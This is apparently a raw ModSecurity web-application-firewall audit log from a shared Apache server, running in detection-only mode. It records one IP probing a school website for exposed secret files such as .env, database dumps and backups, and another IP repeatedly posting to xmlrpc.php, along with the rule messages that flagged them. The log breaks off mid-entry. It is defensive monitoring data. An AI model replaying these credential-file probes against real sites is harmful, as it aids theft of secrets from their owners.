"TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/temp.sql"] [unique_id "aE8byO5gkr5NYpwyzHH17AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014920297576 786742 (- - -) Stopwatch2: 1750014920297576 786742; combined=175010, p1=308, p2=1526, p3=0, p4=0, p5=86644, sr=85, sw=0, l=0, gc=86532 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e75d7d36-Z-- --276bb92c-A-- [16/Jun/2025:00:45:23.023321 +0530] aE8byiCwfN5GtQhYhHBBygAAAAw 185.177.72.210 34960 127.0.0.1 7081 --276bb92c-B-- GET /music/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --276bb92c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b8270b39f07f0adcedd9f6d51b231ef01750014922; expires=Sun, 15 Jun 2025 20:15:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --276bb92c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/music/.env"] [unique_id "aE8byiCwfN5GtQhYhHBBygAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014922334766 688618 (- - -) Stopwatch2: 1750014922334766 688618; combined=1990, p1=381, p2=1508, p3=0, p4=0, p5=101, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --276bb92c-Z-- --c88c7f1f-A-- [16/Jun/2025:00:45:26.579057 +0530] aE8bzZnj7pFxi-BGHz6q_QAAAAI 128.199.112.101 35856 127.0.0.1 7081 --c88c7f1f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c88c7f1f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c88c7f1f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8bzZnj7pFxi-BGHz6q_QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014925572502 1006616 (- - -) Stopwatch2: 1750014925572502 1006616; combined=2351, p1=360, p2=1558, p3=44, p4=62, p5=204, sr=95, sw=123, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c88c7f1f-Z-- --ef35fa4e-A-- [16/Jun/2025:00:45:34.107010 +0530] aE8b1QW_rlaNA7qLBTtBbgAAAAs 185.177.72.210 43196 127.0.0.1 7081 --ef35fa4e-B-- GET /static-root/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef35fa4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8a44dcac30f20cfb637f5ffdb333b4c21750014933; expires=Sun, 15 Jun 2025 20:15:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef35fa4e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/static-root/.env"] [unique_id "aE8b1QW_rlaNA7qLBTtBbgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014933453317 653769 (- - -) Stopwatch2: 1750014933453317 653769; combined=1879, p1=363, p2=1421, p3=0, p4=0, p5=94, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef35fa4e-Z-- --fd7c9f09-A-- [16/Jun/2025:00:45:35.076971 +0530] aE8b1iKD19h5xDtM-2waKgAAAAo 185.177.72.210 43254 127.0.0.1 7081 --fd7c9f09-B-- GET /bitrix/.settings.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fd7c9f09-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2b51401315b905cca2568e77cc68dbf31750014934; expires=Sun, 15 Jun 2025 20:15:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fd7c9f09-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".settings.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".settings.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/.settings.bak"] [unique_id "aE8b1iKD19h5xDtM-2waKgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014934433222 643855 (- - -) Stopwatch2: 1750014934433222 643855; combined=1656, p1=276, p2=1232, p3=0, p4=0, p5=147, sr=73, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd7c9f09-Z-- --f534f74d-A-- [16/Jun/2025:00:45:37.160571 +0530] aE8b2Jnj7pFxi-BGHz6rBQAAAAI 185.177.72.210 43388 127.0.0.1 7081 --f534f74d-B-- GET /:8181/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f534f74d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=93f502edd088e6d7220690a5332b9a591750014937; expires=Sun, 15 Jun 2025 20:15:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f534f74d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/protected/.env"] [unique_id "aE8b2Jnj7pFxi-BGHz6rBQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014936506432 654222 (- - -) Stopwatch2: 1750014936506432 654222; combined=2210, p1=455, p2=1623, p3=0, p4=0, p5=132, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f534f74d-Z-- --4190f24f-A-- [16/Jun/2025:00:45:55.391388 +0530] aE8b6iCwfN5GtQhYhHBB4wAAAAw 185.177.72.210 56696 127.0.0.1 7081 --4190f24f-B-- GET /frontend/vue/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4190f24f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6c50ee07c4ce2ec7c3a9741ce9d27891750014955; expires=Sun, 15 Jun 2025 20:15:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4190f24f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/frontend/vue/.env"] [unique_id "aE8b6iCwfN5GtQhYhHBB4wAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014954713654 677874 (- - -) Stopwatch2: 1750014954713654 677874; combined=1918, p1=361, p2=1427, p3=0, p4=0, p5=129, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4190f24f-Z-- --a2877323-A-- [16/Jun/2025:00:45:56.392282 +0530] aE8b61eqy5hRjKvJEAyahAAAAAE 185.177.72.210 56776 127.0.0.1 7081 --a2877323-B-- GET /users.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a2877323-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ff50547a59980b3072b33eb82d86fd311750014956; expires=Sun, 15 Jun 2025 20:15:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a2877323-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/users.mdb"] [unique_id "aE8b61eqy5hRjKvJEAyahAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014955717563 674781 (- - -) Stopwatch2: 1750014955717563 674781; combined=2247, p1=396, p2=1751, p3=0, p4=0, p5=99, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2877323-Z-- --aac73130-A-- [16/Jun/2025:00:45:59.417367 +0530] aE8b7pnj7pFxi-BGHz6rEQAAAAI 185.177.72.210 56878 127.0.0.1 7081 --aac73130-B-- GET /:8443/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aac73130-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=023d0c3f080c1b9c5115e8930ca1b5c11750014959; expires=Sun, 15 Jun 2025 20:15:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aac73130-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/front-empathy/.env"] [unique_id "aE8b7pnj7pFxi-BGHz6rEQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014958759143 658364 (- - -) Stopwatch2: 1750014958759143 658364; combined=1890, p1=410, p2=1378, p3=0, p4=0, p5=102, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aac73130-Z-- --8c7c9e16-A-- [16/Jun/2025:00:46:25.450320 +0530] aE8cCC7MaF0j8lD2KTIWBgAAAAM 185.177.72.210 42098 127.0.0.1 7081 --8c7c9e16-B-- GET /:8888/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c7c9e16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=902b061c410ea160763f6df45bc2382a1750014985; expires=Sun, 15 Jun 2025 20:16:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c7c9e16-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/journal/.env"] [unique_id "aE8cCC7MaF0j8lD2KTIWBgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014984782690 667705 (- - -) Stopwatch2: 1750014984782690 667705; combined=1763, p1=382, p2=1271, p3=0, p4=0, p5=109, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c7c9e16-Z-- --a9726b45-A-- [16/Jun/2025:00:46:26.997984 +0530] aE8cCiCwfN5GtQhYhHBB-gAAAAw 128.199.112.101 42202 127.0.0.1 7081 --a9726b45-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a9726b45-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a9726b45-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8cCiCwfN5GtQhYhHBB-gAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014986075546 922505 (- - -) Stopwatch2: 1750014986075546 922505; combined=2476, p1=394, p2=1673, p3=48, p4=62, p5=186, sr=106, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9726b45-Z-- --53965079-A-- [16/Jun/2025:00:46:27.421992 +0530] aE8cCi7MaF0j8lD2KTIWBwAAAAM 185.177.72.210 42220 127.0.0.1 7081 --53965079-B-- GET /code/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --53965079-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b0acb530c1a0cef6f19d9f0ddb4c6741750014987; expires=Sun, 15 Jun 2025 20:16:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --53965079-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/code/api/.env"] [unique_id "aE8cCi7MaF0j8lD2KTIWBwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014986783748 638320 (- - -) Stopwatch2: 1750014986783748 638320; combined=1671, p1=359, p2=1206, p3=0, p4=0, p5=105, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --53965079-Z-- --649f6d28-A-- [16/Jun/2025:00:46:28.409385 +0530] aE8cC-5gkr5NYpwyzHH2HgAAAAg 185.177.72.210 42266 127.0.0.1 7081 --649f6d28-B-- GET /null.htw HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --649f6d28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b0408327a19f2caba69849cd81bb06b21750014988; expires=Sun, 15 Jun 2025 20:16:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --649f6d28-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htw"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htw"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/null.htw"] [unique_id "aE8cC-5gkr5NYpwyzHH2HgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014987766571 642881 (- - -) Stopwatch2: 1750014987766571 642881; combined=2383, p1=361, p2=1924, p3=0, p4=0, p5=98, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --649f6d28-Z-- --e8eb0440-A-- [16/Jun/2025:00:46:37.957680 +0530] aE8cFe5gkr5NYpwyzHH2IgAAAAg 185.177.72.210 40368 127.0.0.1 7081 --e8eb0440-B-- GET /:8880/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8eb0440-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2be496d575553291c668f0f4fcb263671750014997; expires=Sun, 15 Jun 2025 20:16:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8eb0440-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/backend/.env"] [unique_id "aE8cFe5gkr5NYpwyzHH2IgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014997283961 673826 (- - -) Stopwatch2: 1750014997283961 673826; combined=2019, p1=455, p2=1435, p3=0, p4=0, p5=128, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 